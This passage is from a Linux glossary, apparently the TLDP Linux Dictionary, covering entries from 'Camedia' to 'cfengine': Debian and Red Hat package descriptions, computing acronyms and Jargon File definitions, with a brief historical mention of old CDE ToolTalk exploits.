Still Camera Digital Interface A downloading/controlling tool for digital cameras with Sanyo firmware. Cameras with Sanyo firmware include all Olympus products, Epson products, Agfa products, and of course, Sanyo digital cameras. KNOWN TO WORK WITH The following lines list is based on Japanese product code. (US product code is in parentheses – EPSON's naming scheme is too confusing) – Olympus "Camedia" C-400L (Olympus D-200L) – Olympus "Camedia" C-820L (Olympus D-320L) – Olympus "Camedia" C-1000L (Olympus D-500L) – Olympus D-450Z – Olympus "Camedia" C-2020Z – Sanyo DSC-V1 (Sanyo VPC-G200E) – EPSON "Colorio Photo" CP-100 (EPSON PhotoPC) – EPSON "Colorio Photo" CP-200 (EPSON PhotoPC 500) – EPSON "Colorio Photo" CP-500 (EPSON PhotoPC 600) – Nikon CP-900 SHOULD WORK WITH Any camera with Sanyo firmware/CPU. Olympus, Epson, Agfa and Sanyo digital cameras falls into this category, reportedly. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Camel Book

n. Universally recognized nickname for the book "Programming Perl", by Larry Wall and Randal L. Schwartz, O'Reilly and Associates 1991, ISBN 0-937175-64-1 (second edition 1996, ISBN 1-56592-149-6). The definitive reference on Perl. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

camlidl

Stub code generator for Objective Caml CamlIDL generates stub code for interfacing Caml with C from an IDL description of the C functions. Thus, CamlIDL automates the most tedious task in interfacing C libraries with Caml programs. It can also be used to interface Caml programs with other

languages, as long as those languages have a well-defined C interface. This package contains the CamIDL executable. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CAMM

Computer Assisted Material Management From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

camserv

stream video out onto the web Takes a video-for-linux video stream, generally from a camera, and streams it out live to requesting clients. Works with Mozilla, Netscape Navigator, and (under protest) Microsoft Internet Explorer. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

camserv-relay

relay camserv streaming video This connects as a client to a camserv streaming video server, and then acts as a camserv server, streaming the same data to clients. Useful when the computer doing the streaming has insufficient CPU, I/O, or network bandwidth to stream to the required number of clients. A tree of camserv relays can handle massive loads. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

camstream

collection of tools for webcams and other video-devices CamStream is (going to be) a collection of tools for webcams and other video-devices, enhancing your Linux system with multimedia video. All written in C++ and with a nice GUI frontend. The interface is based on Qt, an excellent GUI framework. The aim of this project is build a set of programs for: * Webcamming, that is saving an image and uploading it to a server at regular intervals; * Video conferencing; * Webcam broadcast (including server); * Recording movie clips (AVI, Quicktime) from a webcam (and playing them back); * Using a webcam as a security camera. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CAN

Complete Area Networks (SNI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CAN

Controller Area Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

canna

A japanese input system (server and dictionary). Canna is a Japanese input system available in Free Software. Canna provides a unified user interface for inputing Japanese. Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romaji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way. Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion. This package includes cannaserver program and dictionary files. From Debian 3.0r0 APT

CAST

Computer Aided Software Testing From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Castle

Castle is a server distribution from the ALT Linux Team in Russia. Installation instructions and some other documentation is available in English. A 'secured' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

castle-combat

enclose land and destroy your opponent's castle It's a clone of the old DOS game Rampart. Up to four players (or more in future versions) build castle walls, place cannons inside these walls, and shoot at the walls of their enemy(s). If a player can't build a complete wall around one of his castles, he loses. The last surviving player wins. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

casu

Communication and Status Utilities This package contains 2 utilities: 1. flon -- lists your friends who are logged on 2. to -- sends a short message to another user flon simply uses the ~/.friends file to instruct it on which users to display. Flon can also act like a BSD style who(1), if invoked with the -w option or from a symlink named 'who'. to is rather like write(1), except that it accepts input as command line arguments rather than on the standard input. It uses ~/.torc for configuration, and can be configured to autoreply to messages in different ways depending on whether you're logged in or not or if your terminal is idle, and can also exclude individual users from sending messages to your terminal. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cat

concatenate files and print on the standard output From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cat

[from `catenate' via Unix cat(1)] vt. 1. [techspeak] To spew an entire file to the screen or some other output sink without pause (syn. blast). 2. By extension, to dump large amounts of data at an unprepared target or with no intention of browsing it carefully. Usage: considered silly. Rare outside Unix sites. See also dd, BLT. Among Unix fans, cat(1) is considered an excellent example of user-interface design, because it delivers the file contents without such verbosity as spacing or headers between the files, and because it does not require the files to consist of lines of text, but works with any sort of data. Among Unix haters, cat(1) is considered the canonical example of bad user-interface design, because of its woefully unobvious name. It is far more often used to blast a file to standard output than to concatenate two files. The name cat for the former operation is just as unintuitive as, say, LISP's cdr. Of such oppositions are holy wars made.... See also UUOC. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

catalog

Tool to create, maintain and display Yahoo! like directories. Catalog is a perl program that allows to create, maintain and display Yahoo! like directories. The user interface is 100% HTML. It requires a MySQL database to run. The general idea behind the design of Catalog is that creating a catalog is mainly a matter of organizing objects in a structured tree. For Catalog the objects are records in a table of the SQL database. The structured tree is a set of tree nodes and relations between these nodes. The maintainer of the catalog is in charge of building the tree and placing objects in this tree. Here is a short list of the functions provided by Catalog: * Display structured trees of resources. * Display chronologically ordered resources and associated calendar. * Display alphabetical indexes of resources. * Allow full text search in the resources and the category names. * Powerful HTML based administration of catalogs. * On-Line editing of resource records. * Handle an arbitrary number of catalogs. * High performances using mod_perl and Apache. * Easy customization of the user view using HTML template files. * It is possible to define more than one view of the same catalog. * Load and unload a thematic catalog in XML. * Create an HTML dump of a structured tree to publish a static version. * Complete documentation including a guide and a reference manual. * Ready to use example. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

catatonic

adj. Describes a condition of suspended animation in which something is so wedged or hung that it makes no response. If you are typing on a terminal and suddenly the computer doesn't even echo the letters back to the screen as you type, let alone do what you're asking it to do, then the computer is suffering from catatonia (possibly because it has crashed). "There I was in the middle of a winning game of nethack and it went catatonic on me! Aaargh!" Compare buzz. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

catchsegv

Catch segmentation faults in programs From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

catdoc

MS–Word to TeX or plain text converter This program extracts text from MS–Word files, trying to preserve as many special printable characters as possible. catdoc supports everything up to Word–97. It doesn't even try to preserve fancy Word formatting, because Word users usually don't care about document structure, and it is this very thing which is important to LaTeX users. Also provided is xls2csv, which extracts data from Excel spreadsheets and outputs it in comma–separated–value format. This package suggests tk because it also includes wordview, an optional Tk–based GUI for catdoc. The MIME config provided in this package will use wordview if X is running, or catdoc directly if it is not. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

catdvi

DVI to plain text translator CatDVI translates a TeX Device Independent (DVI) file into a readable plaintext file. It aims to generate high–quality output that reproduces all aspects of the DVI file within the limits of the output medium. CatDVI uses Unicode internally and can output ASCII, ISO Latin 1 and UTF–8 Unicode. CatDVI can be used for previewing TeX documents on character–cell displays such as traditional terminals and terminal emulators. It is also possible to use it in generation of plain text documents from TeX source, assuming that the document is written with this conversion in mind. CatDVI is under development and as such yet incomplete. However, it is quite useful even in its current form and already outperforms some of its competition in some areas. CatDVI requires that the TFM files for all fonts used in its input DVI files are installed or can be generated by kpathsea. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

CATI

CDB

Command Descriptor Block From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdbackup

CD-R(W) backup utility cdbackup and cdrestore are a pair of utilities designed to facilitate streaming backup to and from CD-R(W) disks. Specifically, they were designed to work with dump/restore, but tar/cpio/whatever you want should work, so long as it writes to stdout for backups and reads from stdin for restores. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdbakeoven

common GUI for writing CDs under KDE CD Bake Oven (CDBO) is a graphical CD-creation/copying tool designed which aims to combine the power and stability of great command line utilities with a contemporary, easy-to-use user interface. CDBO enables you to create data or music CDs in the most intuitive matter, while enabling you to control every aspect of the process. It is built on top of very well known cdrecord, mkisofs, cdda2wav and cdparanoia, encapsulating most of the options those utilities provide. This makes creating professional quality media as easy as making a few mouse clicks. Features include: o creating custom CDs by drag'n'drop'ing files from Konqueror or CDBO into the compilation list and clicking 'Create' o auto-detection of CD writers, supplemented by a Custom Devices Dialog for simple custom device configuration o a fully customize CD creation/duplication/erasing process (the CDBO Settings Dialog is split into convenient sections, such as o Audio CD copy, ISO Image creation, CDBO defaults, etc.) o a number of other features, such as: the ability to listen to o audio CDs while copying; ISO image creation; ISO image preview; Burn-At-Once support; BurnProf support (must be supported by the (hardware)); bootable (El Torito) CD creation; and multiplatform CD creation. Cult of the Dead Cow (org.), "cDc" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdcd

command line or console based CD player cdcd works in two ways, accepting commands directly off the command line or in a query mode similar to other UNIX programs. To pass a command to cdcd, simply run cdcd with the command as the argument (e.g. cdcd play). This is great for using cron and

cdcd together to make a CD alarm clock. Or you can run cdd without arguments and you will be given the cdd command prompt. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdcontrol

A parallel burner that allow you to write to one or more CD-Writer at once CDcontrol is a parallel CD burner program. It's allow you write to a unlimited number or CD writers (IDE and SCSI) at once time. The CDcontrol is the first burning system of that type that I know for *nix operating system and it's all under GPL license. Some of it's features are better than commercial systems that I've hear about (and fully support CD images and all data type supported by cdrecord program), one of these features is the separated control of each recorder once the recording is started (avoid problems due a fail or speed problem in other writers). The CDcontrol itself has a daily production report for each writer and fails of writting, in cases of more serious errors, a technical report is also written (it's content is a full cdrecord output for that writer, plus the time when it happens). Other interesting feature is the automatic calculation of copies, enabling only the writers requested to complete the number and skipping all that are disabled. The CDcontrol come with the following tools: cd-memoria - Read the CD image and write it on the permanent memory (HD, Raid, CDRW, etc). memoria-cd - Read the CD image and write it on all writers. apagar-cdcontrol - Delete a CD image from permanent memory config-cdcontrol - Allow you to manually enable/disable one or more writers. rel-cdcontrol - Allow you to read the success/fail reports of each day (the technician report is found at the subdirectory \$LOG_DIR/tec and should be read as any text file in the system). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdcover

Creating Data-CD Covers cdcover is a little commandline tool which creates user-defined data-cd covers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDDA

Compact Disk - Digital Audio (CD, Digital audio), "CD-DA" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdda2wav

Cdda2wav is a sampling utility for CD-ROM drives that is capable of providing CD audio data in digital form to your host. Audio data read from the CD can be saved as .wav or .sun format sound files. Recording formats include stereo/mono, 8/12/16 bits, and different rates. Cdda2wav can also be used as a CD player. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdda2wav

Creates WAV files from audio CDs cdda2wav lets you digitally copy audio tracks from a CD-ROM, avoiding the distortion that is introduced when recording via a sound card. Data can be dumped into wav or sun format sound files. Options control the recording format (stereo/mono; 8/16 bits; sampling rate, etc). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cddb

CD DataBase support tools This package provides a location for programs to store files from the Cddb in and contains a simple program to query Cddb servers. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDDI

Copper Distributed Data Interface (FDDI, UTP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDE

Certified Directory Engineer (Novell, Netware) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDE

Common Desktop Environment From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDE

Compact Disk – Erasable (CD), "CD-E" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDE

Cooperative Development Environment (Oracle) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDE (Common Desktop Environment)

UNIX has not traditionally been intended as a desktop operating system, and therefore has lacked many of the features of Windows and Macintosh PCs. CDE is a standard supported by numerous UNIX vendors to supply a common desktop environment on top of X Windows and RPC. Of interest to hackers are the following, services: ToolTalk rpc.ttdbd Provides the core of most "desktop" services. Provides an inter-application communication library that can be linked to applications. ToolTalk has had two major remote exploits providing root access. In 1999, a buffer-overflow was discovered. In 2001, a format-string exploit was discovered. Both resulted in widespread compromises. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdebconf

Debian Configuration Management System (C-implementation) Debconf is a configuration management system for Debian packages. It is used by some packages to prompt you for information before they are installed. This is a reimplementaion of the original debconf version in C. Installing this package is rather dangerous now. It will break debconf. You have been warned! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdecl

Turn english phrases to C or C++ declarations Cdecl is a program which will turn English-like phrases such as "declare foo as array 5 of pointer to function returning int" into C declarations such as "int (*foo[5])()". It can also translate the C into the pseudo-English. And it handles typecasts, too. Plus C++. And in this version it has command line editing and history with the GNU readline library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdeject

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDF

Channel Definition Format (MS, Internet, XML) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDF

Compound Document Framework (IBM, OLE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDFS

Compact Disk File System (CD, OS/2, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdfs-src

shows the tracks on a CD as normal files Cdfs is a file system for Linux systems that `exports' all tracks and boot images on a CD as normal files. These files can then be mounted (e.g. for ISO and boot images), copied, played (WAVE audio and VideoCD tracks)... The primary goal for developing this file system was to `unlock' information in old ISO images. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDG

Compact Disk + Graphics (CD), "CD+G" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDI

Compact Disk – Interactive (CD), "CD-I" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdialog

Dialog is a utility that allows you to show dialog boxes (containing questions or messages) in TTY (text mode) interfaces. Dialog is called from within a shell script. The following dialog boxes are implemented: yes/no, menu, input, message, text, info, checklist, radiolist, and gauge. Install dialog if you would like to create TTY dialog boxes. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDIF

CASE Data Interchange Format (CASE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdindex-client

cdindex is intended to be the open source replacement of cddb(tm) cdindex is a system that allows the web based submission of title, artist information of CDs and the retrieval. It is completely web based (cgi / html / xml) and uses a web browser for submission / retrieval. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdinfo

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdir

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDK

Control Development Toolkit (MS, VB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdlabelgen

generates front cards and tray cards for CDs cdlabelgen was designed to simplify the process of generating labels for CDs. It originated as a program to allow auto generation of front cards and tray cards for CDs burned via an automated mechanism (specifically for archiving data), but has now become popular for labelling CD compilations of mp3's, and copies of CDs. Note that cdlabelgen does not actually print anything—it just spits out postscript, which you can then do with as you please. Author: B. W. Fitzpatrick <fitz@red-bean.com> Homepage:
<http://www.red-bean.com/~bwf/software/cdlabelgen/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDLinux

CDlinux is a CD based mini Linux distribution, which runs from a CDROM. It aims to be an administration/rescue tool for Eastern Asian (CJK) users. CDlinux is also highly user configurable, and supports a wide range of hardware (PCMCIA/SCSI/USB). Version 0.4.3 was released June 10, 2003. A CD-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDLinux

This CDLinux was a Chinese Debian GNU/Linux running on a CD. Last update, March 30, 2001. Distribution development is not all that active. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdloop

Restart a CD when it ceases playing From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDM

Compressed Data Mode From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDMA

Code Division Multiple Access (DFUe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDMIDI

Compact Disk + Musical Instruments Digital Interface (CD, MIDI), "CD+MIDI" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDMO

Compact Disk – Magneto Optical (CD), "CD–MO" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDMS

Communication Driver Maintenance System (ISDN, HST) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDNC

Chinese DOMAIN Name Consortium (org., Internet, DOMAIN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDO

Collaboration Data Objects (WSH, MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdown

query cddb database for info on a disc From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdp

Cdp is a program for playing CDs on the Linux console. Cdp includes a full–screen ncurses mode and a command line mode for scripts. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdparanoia

An audio extraction tool for sampling CDs. Unlike similar programs such as cdda2wav, cdparanoia goes to great lengths to try to extract the audio information without any artifacts such as jitter. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdparanoia

This CDDA reader distribution ('cdparanoia') reads audio from the CDROM directly as data, with no analog step between, and writes the data to a file or pipe as .wav, .aifc or as raw 16 bit linear PCM. cdparanoia is a complete rewrite of Heiko Eissfeldt's 'cdda2wav' program, and generally is much better at succeeding to read difficult discs with cheap drives. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdpause

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDPC

Cellular Digital Packet Data From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDPD

Cellular Digital Packet Data (mobile–systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdplay

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDR

Compact Disk – Recordable (CD), "CD-R" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDRA

Character Data Representation Architecture From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDRAM

Cached Dynamic Random Access Memory (RAM, DRAM, IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdrdao

Cdrdao records audio CD-Rs in disk-at-once (DAO) mode, based on a textual description of the CD contents. Recording in DAO mode writes the complete disc (lead-in, one or more tracks, and lead-out) in a single step. DAO allows full control over the length and the contents of pre-gaps, the pause areas between tracks. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdrdao

Write audio or mixed mode CD-Rs in disk-at-once mode cdrdao creates audio or mixed mode CD-Rs in disk-at-once (DAO) mode driven by a description file. In DAO mode it is possible to create non standard track pre-gaps that have other lengths than 2 seconds and contain nonzero audio data. This is for example useful to divide live recordings into tracks where 2 second gaps would be irritating. It is also possible to create hidden tracks or track intros as found on commercial CDs. This tool can produce audio and mixed mode CDs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdrdao

Writes audio CD-Rs in disc-at-once (DAO) mode allowing control over pre-gaps (length down to 0, nonzero audiodata) and sub-channel information like ISRC codes. All data that is written to the disc must be specified with a text file. Audio data may be in WAVE or raw format. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdrecord

A command line CD/DVD writing tool cdrecord allows you to create CDs on a CD recorder (SCSI or ATAPI). It supports writing data, audio, mixed, multi-session, and CD+ and DVD discs, on just about every type of CD recorder out there. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdreset

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDRM

Cross DOMAIN Resource Manager (VTAM, SSCP, IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDROM

Compact Disk – Read Only Memory (CD, ROM), "CD-ROM" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDROMXA

Compact Disk – ROM / eXtended Architecture (CD, MPC, ROM), "CD-ROM/XA" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdrtoaster

Tcl/Tk front-end for burning cdrom. CDR-Toaster is a Tcl/Tk front-end for cdrecord, cdparanoia and mkisofs. It is very useful for burning data and audio cdrom. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDRW

Compact Disk – ReWritable (CD), "CD-RW" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDS

Cell Directory Service (DCE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDS

Current Directory Structure (BIOS, DOS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDSA

Common Data Security Architecture (HP, cryptography) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdshuffle

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDSS

Creative Decision Stimulation Systems (AI, DSS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDT

Cell Delay Tolerance (ATN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDT

Central Daylight Time [-0500] (TZ, CST, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdtool

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdtool

some text-based commands for managing a CD cdtool contains cdplay, cdeject, cdstop, cdpause, and several other utilities that let you control your CD-ROM drive from a command line. Also, it comes with cdir, a utility that uses a workman-style database to keep track of the contents of different CDs. It now includes a commandline utility for controlling a CD-ROM called cdctrl. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDTV

Commodore Dynamic Total Vision (Commodore) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDV

Cell Delay Variation (UNI, ATM, QOS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cdvolume

play and catalog audio CDROMs on CDROM drive(s) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDVT

Cell Delay Variation Tolerance (UNI, ATM, CDV) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CDWO

Compact Disk - Write Once (CD), "CD-WO" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CEI

Connection Endpoint Identifier (UNI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

celestia

A real-time visual space simulation Celestia is a real-time visual simulation of space. Choose a point within the Local Group of galaxies, and Celestia will show you an approximation of how it would appear to your eyes were you actually there. Some of what Celestia shows is necessarily hypothetical--the farther away from Earth you get, the less real data there is and the more guesswork is involved. Thus Celestia supplements observational data with good guesses based on models of stellar and planetary processes. Celestia is unique in its ability to allow you to navigate at an immense range of scales. Orbit a couple kilometers above the surface of a tiny, irregular asteroid, then head off toward Jupiter, watching it grow from a bright point of light into a looming sphere filling your field of vision. Leave our solar system entirely and observe the sun as it fades from a brilliant disk to a bright star, disappearing almost entirely as you head off toward the Upsilon Andromeda system to orbit around its innermost giant planet. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CELP

Card Edge Low Profile [socket] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

centericq

A text-mode ICQ client based on ncurses Centericq is a text mode menu- and window-driven IM interface. ICQ, Yahoo! and MSN protocols are now supported. It allows you to send, receive, and forward messages, URLs, SMSes and, contacts, mass message send, search for users (including extended "whitepages search"), view users' details, maintain your contact list directly from the program (including non-icq contacts), view the messages history, register a new UIN and update your details, be informed on receiving email messages, automatically set away after the defined period of inactivity (on any console), and have your own ignore, visible and invisible lists. It can also associate events with sounds, has support for Hebrew and Arabic languages and allows to arrange contacts into groups. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CENTR

Council of European National Top level DOMAIN Registries From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Central Processing Unit (CPU)

The component of a computer in which data processing takes place.From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

central processing unit (CPU)

The component which controls the computation and operation of a computer system. Units within the CPU perform math and logic operations and translate and execute instructions. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CEPAC

CMOS-Ein-Platinen-Allzweck-Computer (IC, CMOS, C'T) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CEPIS

Council of European Professional Informatics Societies (org., Europe) From VERA

Cell Error Ratio (ATM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CERFNET

California Educational and Research Federation NETWORK (network), "CERFNet" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CERN

Conseil Europeenne pour la Recherche Nucleaire (org., Europe, Geneva) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CERN Linux

CERN Linux is based on Red Hat Linux, with modifications to the kernel (to better support their hardware) and with additional software for High Energy Physics (HEP). It is used mostly at CERN and a few of the smaller HEP institutes worldwide, running on farm machines, servers, desktops and embedded PCs. CERN 7.3.2 was released April 9, 2003. Added to list June 17, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cern-httpd

The CERN HTTP (World-Wide Web) server The CERN HTTP daemon allows you to run an HTTP (Hypertext Transfer Protocol) server on your computer. HTTP is the main transport protocol used in the World Wide Web. Unless you wish only to serve files to users of your system, you must be hooked up to a TCP/IP network. This HTTP server is fairly outdated, and no longer maintained upstream. It does serve as a fairly nice local server, though. CERN ACKNOWLEDGMENT: This product includes computer software created and made available by CERN. This acknowledgment shall be mentioned in full in any product which includes the CERN computer software included herein or parts thereof. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CERT

Computer Emergency Response Team (DARPA, CMU, Internet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Certificate Authority

An issuer of Security Certificates used in SSL connections. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cervisia

KDE based CVS frontend Cervisia is a graphical frontend for the CVS client. It provides access to the following features: * Updating or retrieving the status of a working directory or single files. * Files are displayed in different colors depending on their status, and the shown files can be filtered according to their status. * Common operations like adding, removing and committing files. * Advanced operations like adding and removing watches, editing and unediting files, locking and unlocking. * Checking out and importing modules. * Graphical diff against the repository and between different revisions. * Blame-annotated view of a file. * View of the log messages in tree and list form. * Resolving of conflicts in a file. * Tagging and branching. * Updating to a tag, branch or date. * A Changelog editor coupled with the commit dialog. From Debian 3.0r0 APT

cfdisk

Curses based disk partition table manipulator for Linux From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cfdisk-utf8

A small UTF8 capable version of cfdisk This package contains the cfdisk program linked against the UTF8 libraries. Do not install it unless you really need a fdisk programs which needs to handle with UTF8, or unless you need it for a small Linux root filesystem like this on the boot-floppies. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CFE

Center for Engineering (org., JIEO, DISA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cfe

Console Font Editor cfe is a console font editor which works well both on the console and the terminal. It includes such abilities as various glyph transforming, multi-level undo, and comparing the glyphs of two fonts. cfe automatically supports loading of .psf and raw binary fonts. Other types of fonts can be opened using the proper options. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cfengine

